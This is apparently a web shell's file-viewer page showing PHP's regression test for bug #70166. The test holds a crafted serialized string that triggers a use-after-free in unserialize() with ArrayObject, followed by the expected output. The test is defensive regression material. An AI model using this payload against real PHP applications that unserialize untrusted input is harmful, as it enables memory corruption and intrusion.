/
usr
/
local
/
lsws
/
phpbuild
/
php-8.0.7
/
ext
/
spl
/
tests
/
File Upload :
llllll
Current File: //usr/local/lsws/phpbuild/php-8.0.7/ext/spl/tests/bug70166.phpt
--TEST-- SPL: Bug #70166 Use After Free Vulnerability in unserialize() with SPLArrayObject --FILE-- <?php $inner = 'x:i:1;a:0:{};m:a:0:{}'; $exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:5;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data); ?> --EXPECTF-- array(2) { [0]=> object(ArrayObject)#%d (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=> array(0) { } }
Copyright ©2k19 -
Hexid
|
Tex7ure